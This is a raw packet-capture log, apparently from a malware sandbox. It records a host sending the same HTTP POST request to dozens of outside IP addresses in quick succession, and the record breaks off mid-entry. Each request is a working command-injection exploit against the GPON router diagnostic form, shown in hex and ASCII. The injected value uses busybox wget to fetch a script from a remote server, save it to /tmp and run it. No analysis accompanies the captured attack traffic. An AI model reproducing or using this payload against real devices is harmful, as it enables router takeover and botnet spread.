XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
840	192.168.2.23	48766	79.97.207.99	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.020944118 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
841	192.168.2.23	39938	5.83.57.254	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.020958900 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
842	192.168.2.23	59376	94.237.79.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.020986080 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
843	192.168.2.23	33740	37.62.26.22	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.020989895 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
844	192.168.2.23	42314	210.136.94.38	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021040916 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
845	192.168.2.23	42912	210.197.192.144	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021043062 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
846	192.168.2.23	36548	94.142.89.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021044016 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
847	192.168.2.23	57370	94.43.175.173	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021065950 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
848	192.168.2.23	35298	5.65.15.148	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021078110 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
849	192.168.2.23	43606	2.33.237.204	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021078110 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
850	192.168.2.23	44548	210.201.100.124	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021081924 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
851	192.168.2.23	50348	210.248.27.30	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021109104 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
852	192.168.2.23	36446	109.75.223.139	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021121025 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
853	192.168.2.23	40964	210.84.250.90	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021151066 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
854	192.168.2.23	33582	79.219.66.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021151066 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
855	192.168.2.23	36220	118.110.184.20	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021158934 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
856	192.168.2.23	33682	118.90.156.14	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021173954 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
857	192.168.2.23	52966	109.226.77.115	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021203995 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
858	192.168.2.23	59910	37.131.139.49	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021246910 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
859	192.168.2.23	55786	210.81.151.138	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021256924 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
860	192.168.2.23	41912	42.50.186.10	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021256924 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
861	192.168.2.23	45164	178.131.241.169	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021264076 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
862	192.168.2.23	41568	210.252.178.212	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021264076 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
863	192.168.2.23	52104	79.156.65.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.021279097 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
864	192.168.2.23	58584	109.118.219.47	443

Timestamp	Bytes transferred	Direction	Data
